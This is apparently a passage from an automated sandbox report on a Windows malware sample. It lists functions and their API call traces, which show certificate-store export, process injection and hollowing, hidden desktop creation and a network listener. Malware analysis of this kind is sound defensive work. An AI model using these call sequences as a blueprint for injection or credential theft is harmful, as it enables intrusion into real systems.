    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00409BC5, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71
    APIs
    • GetSubMenu.USER32 ref: 00409BC5
    • ShellAboutW.SHELL32 ref: 00409BCB
    • LoadLibraryA.KERNEL32 ref: 00409BD1
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F410, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68
    APIs
    • lstrcmpiW.KERNEL32 ref: 0040F410
    • SetWindowExtEx.GDI32 ref: 0040F416
    • GetFocus.USER32 ref: 0040F41C
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040F44E
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040ACD8, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 68
    APIs
    • RegSetValueExW.ADVAPI32 ref: 0040ACD8
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408BFC, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
    APIs
    • SetEndOfFile.KERNEL32 ref: 00408BFC
    • lstrcpynW.KERNEL32 ref: 00408C02
    • ScreenToClient.USER32 ref: 00408C08
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408C92, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 42
    APIs
    • UnhandledExceptionFilter.KERNEL32 ref: 00408C92
    • SetScrollPos.USER32 ref: 00408C98
    • SetWindowLongW.USER32 ref: 00408C9E
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BAA6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00BAA74E
    • CloseHandle.KERNEL32(?), ref: 00BAA8B8
      • Part of subcall function 00BC0533: CreateMutexW.KERNEL32(00BD2AFC,00000000,00BD3F88), ref: 00BC0556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 00BAA7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 00BAA829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 00BAA849
      • Part of subcall function 00BBB93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00BBB953
      • Part of subcall function 00BB9ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00BB9EEB
      • Part of subcall function 00BB9ED7: CloseHandle.KERNEL32 ref: 00BB9EF6
    • accept.WS2_32(?,00000000,00000000), ref: 00BAA874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 00BAA888
      • Part of subcall function 00BBB8E5: shutdown.WS2_32(?,00000002), ref: 00BBB8ED
      • Part of subcall function 00BBB8E5: closesocket.WS2_32 ref: 00BBB8F4
    • CloseHandle.KERNEL32(?), ref: 00BAA8A9
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
      • Part of subcall function 00BC0477: RegOpenKeyExW.ADVAPI32(80000001,00BD3F08,00000000,00000001,?), ref: 00BC04BA
      • Part of subcall function 00BAA45D: getsockname.WS2_32(?,?,?), ref: 00BAA4B4
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040A6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 0040A74E
    • CloseHandle.KERNEL32(?), ref: 0040A8B8
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 0040A7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 0040A829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 0040A849
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 00419ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00419EEB
      • Part of subcall function 00419ED7: CloseHandle.KERNEL32 ref: 00419EF6
    • accept.WS2_32(?,00000000,00000000), ref: 0040A874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 0040A888
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
    • CloseHandle.KERNEL32(?), ref: 0040A8A9
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,00433F08,00000000,00000001,?), ref: 004204BA
      • Part of subcall function 0040A45D: getsockname.WS2_32(?,?,?), ref: 0040A4B4
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC0A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00BA71B8), ref: 00BC0A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00BC0AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00BC0AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00BC0AED
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00BC0B1A
    • CharLowerW.USER32 ref: 00BC0B38
    • GetSystemTime.KERNEL32(?), ref: 00BC0B43
      • Part of subcall function 00BC0A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00BC0B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00BC0A23
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00BC0BCB
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BCBD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 00BCBD39
    • SetThreadPriority.KERNEL32 ref: 00BCBD40
      • Part of subcall function 00BC886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00BC888F
      • Part of subcall function 00BC886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00BC88A2
      • Part of subcall function 00BC886A: GetProcessWindowStation.USER32 ref: 00BC88B3
      • Part of subcall function 00BC886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00BC88EE
      • Part of subcall function 00BC886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00BC8902
      • Part of subcall function 00BC886A: GetCurrentThreadId.KERNEL32 ref: 00BC890E
      • Part of subcall function 00BC886A: GetThreadDesktop.USER32 ref: 00BC8915
      • Part of subcall function 00BC886A: SetThreadDesktop.USER32 ref: 00BC8927
      • Part of subcall function 00BC886A: CloseDesktop.USER32 ref: 00BC8939
      • Part of subcall function 00BC886A: CloseWindowStation.USER32(?), ref: 00BC8954
      • Part of subcall function 00BCB7E3: TlsAlloc.KERNEL32(?,00BD45C0,00000000), ref: 00BCB7FD
      • Part of subcall function 00BCB7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00BD45C0,00000000), ref: 00BCB824
      • Part of subcall function 00BCB7E3: CreateEventW.KERNEL32(00BD2AFC,00000001,00000000,?), ref: 00BCB84B
      • Part of subcall function 00BCB7E3: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB86B
      • Part of subcall function 00BCB7E3: CreateFileMappingW.KERNEL32(00000000,00BD2AFC,00000004,00000000,03D09128,?), ref: 00BCB893
      • Part of subcall function 00BCB7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00BCB8A9
      • Part of subcall function 00BCB7E3: GetDC.USER32(00000000), ref: 00BCB8C6
      • Part of subcall function 00BCB7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00BCB8E6
      • Part of subcall function 00BCB7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00BCB8F0
      • Part of subcall function 00BCB7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00BCB8FD
      • Part of subcall function 00BCB7E3: ReleaseDC.USER32(00000000,00000000), ref: 00BCB925
      • Part of subcall function 00BCB7E3: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BCB9C9
      • Part of subcall function 00BCB7E3: GetDC.USER32(00000000), ref: 00BCB9DE
      • Part of subcall function 00BCB7E3: CreateCompatibleDC.GDI32 ref: 00BCB9EB
      • Part of subcall function 00BCB7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00BCBA00
      • Part of subcall function 00BCB7E3: SelectObject.GDI32(?), ref: 00BCBA17
      • Part of subcall function 00BCB7E3: ReleaseDC.USER32(00000000), ref: 00BCBA2D
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBA4D
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA5D
      • Part of subcall function 00BCBA3D: TlsFree.KERNEL32 ref: 00BCBA68
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBA76
      • Part of subcall function 00BCBA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00BCBA80
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32 ref: 00BCBA8D
      • Part of subcall function 00BCBA3D: SelectObject.GDI32(00000000,00000000), ref: 00BCBAA7
      • Part of subcall function 00BCBA3D: DeleteObject.GDI32(00000000), ref: 00BCBAB8
      • Part of subcall function 00BCBA3D: DeleteDC.GDI32(00000000), ref: 00BCBAC5
      • Part of subcall function 00BCBA3D: CloseHandle.KERNEL32(00000000), ref: 00BCBAD6
      • Part of subcall function 00BCBA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00BCBAE5
      • Part of subcall function 00BCBA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00BCBC3C,00000000,00BD45C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00BCBAFE
      • Part of subcall function 00BB6373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00BB6639
      • Part of subcall function 00BB6373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BB6654
      • Part of subcall function 00BB6373: ReleaseMutex.KERNEL32 ref: 00BB66E6
      • Part of subcall function 00BB6373: GetSystemMetrics.USER32(00000017), ref: 00BB6806
      • Part of subcall function 00BB6373: ReleaseMutex.KERNEL32 ref: 00BB6B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00BCBD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00BCBDC9
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 00BCBE29
    • CloseHandle.KERNEL32(?), ref: 00BCBE39
    • CloseHandle.KERNEL32(?), ref: 00BCBE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00BCBE4E
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC6F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00BC6F87
    • Process32FirstW.KERNEL32(?,?), ref: 00BC6FB0
      • Part of subcall function 00BA7E34: CreateMutexW.KERNEL32(00BD2AFC,00000001,?), ref: 00BA7E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 00BC700B
    • CloseHandle.KERNEL32(?), ref: 00BC70AC
      • Part of subcall function 00BB9AB7: OpenProcessToken.ADVAPI32(00BD2AC0,00000008,00BD2AC0), ref: 00BB9AC7
      • Part of subcall function 00BB9AB7: GetTokenInformation.ADVAPI32(00BD2AC0,0000000C,00000000,00000004,00BD2F90), ref: 00BB9AF3
      • Part of subcall function 00BB9AB7: CloseHandle.KERNEL32(00BD2AC0), ref: 00BB9B08
    • CloseHandle.KERNEL32 ref: 00BC7028
    • GetLengthSid.ADVAPI32(?,?,?,?), ref: 00BC703B
      • Part of subcall function 00BB80EB: HeapAlloc.KERNEL32(00000008,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?,?), ref: 00BB810D
      • Part of subcall function 00BB80EB: HeapReAlloc.KERNEL32(00000008,?,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?), ref: 00BB811E
      • Part of subcall function 00BC6DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00BC6DE0
      • Part of subcall function 00BC6DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00BC6E2B
      • Part of subcall function 00BC6DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00BC6E4E
      • Part of subcall function 00BC6DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00BC6E60
      • Part of subcall function 00BC6DB7: ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00BC6E7C
      • Part of subcall function 00BC6DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00BC6EAE
      • Part of subcall function 00BC6DB7: NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00BC6ECC
      • Part of subcall function 00BC6DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00BC6EDA
      • Part of subcall function 00BC6DB7: NtResumeProcess.NTDLL(?,?,?,?), ref: 00BC6EE5
      • Part of subcall function 00BC6DB7: Sleep.KERNEL32(00000064), ref: 00BC6EF2
      • Part of subcall function 00BC6DB7: UnmapViewOfFile.KERNEL32(?), ref: 00BC6EFB
      • Part of subcall function 00BC6DB7: CloseHandle.KERNEL32(?), ref: 00BC6F04
      • Part of subcall function 00BC6DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00BC6F1D
      • Part of subcall function 00BC6DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00BC6F2F
      • Part of subcall function 00BC6DB7: CloseHandle.KERNEL32 ref: 00BC6F36
      • Part of subcall function 00BC6DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00BC6F4F
      • Part of subcall function 00BC6DB7: CloseHandle.KERNEL32 ref: 00BC6F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 00BC70B8
    • CloseHandle.KERNEL32(?), ref: 00BC70C9
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00426F66, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00426F87
    • Process32FirstW.KERNEL32(?,?), ref: 00426FB0
      • Part of subcall function 00407E34: CreateMutexW.KERNEL32(00432AFC,00000001,?), ref: 00407E7C
    • OpenProcess.KERNEL32(00000400,00000000,?), ref: 0042700B
    • CloseHandle.KERNEL32(?), ref: 004270AC
      • Part of subcall function 00419AB7: OpenProcessToken.ADVAPI32(00432AC0,00000008,00432AC0), ref: 00419AC7
      • Part of subcall function 00419AB7: GetTokenInformation.ADVAPI32(00432AC0,0000000C,00000000,00000004,00432F90), ref: 00419AF3
      • Part of subcall function 00419AB7: CloseHandle.KERNEL32(00432AC0), ref: 00419B08
    • CloseHandle.KERNEL32 ref: 00427028
    • GetLengthSid.ADVAPI32(?,?,?,?), ref: 0042703B
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 00426DB7: OpenProcess.KERNEL32(?,00000000,?), ref: 00426DE0
      • Part of subcall function 00426DB7: CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00426E2B
      • Part of subcall function 00426DB7: MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,?), ref: 00426E4E
      • Part of subcall function 00426DB7: NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00426E60
      • Part of subcall function 00426DB7: ReadProcessMemory.KERNEL32(?,?,?,?,?), ref: 00426E7C
      • Part of subcall function 00426DB7: NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00426EAE
      • Part of subcall function 00426DB7: NtMapViewOfSection.NTDLL(?,?,?,00000000), ref: 00426ECC
      • Part of subcall function 00426DB7: FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00426EDA
      • Part of subcall function 00426DB7: NtResumeProcess.NTDLL(?,?,?,?), ref: 00426EE5
      • Part of subcall function 00426DB7: Sleep.KERNEL32(00000064), ref: 00426EF2
      • Part of subcall function 00426DB7: UnmapViewOfFile.KERNEL32(?), ref: 00426EFB
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32(?), ref: 00426F04
      • Part of subcall function 00426DB7: CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00426F1D
      • Part of subcall function 00426DB7: WaitForSingleObject.KERNEL32(?,00002710), ref: 00426F2F
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32 ref: 00426F36
      • Part of subcall function 00426DB7: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00426F4F
      • Part of subcall function 00426DB7: CloseHandle.KERNEL32 ref: 00426F56
    • Process32NextW.KERNEL32(?,0000022C), ref: 004270B8
    • CloseHandle.KERNEL32(?), ref: 004270C9
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042BD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 0042BD39
    • SetThreadPriority.KERNEL32 ref: 0042BD40
      • Part of subcall function 0042886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 0042888F
      • Part of subcall function 0042886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 004288A2
      • Part of subcall function 0042886A: GetProcessWindowStation.USER32 ref: 004288B3
      • Part of subcall function 0042886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 004288EE
      • Part of subcall function 0042886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00428902
      • Part of subcall function 0042886A: GetCurrentThreadId.KERNEL32 ref: 0042890E
      • Part of subcall function 0042886A: GetThreadDesktop.USER32 ref: 00428915
      • Part of subcall function 0042886A: SetThreadDesktop.USER32 ref: 00428927
      • Part of subcall function 0042886A: CloseDesktop.USER32 ref: 00428939
      • Part of subcall function 0042886A: CloseWindowStation.USER32(?), ref: 00428954
      • Part of subcall function 0042B7E3: TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
      • Part of subcall function 0042B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
      • Part of subcall function 0042B7E3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
      • Part of subcall function 0042B7E3: CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
      • Part of subcall function 0042B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B8C6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
      • Part of subcall function 0042B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
      • Part of subcall function 0042B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0042B7E3: ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 0042B7E3: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
      • Part of subcall function 0042B7E3: GetDC.USER32(00000000), ref: 0042B9DE
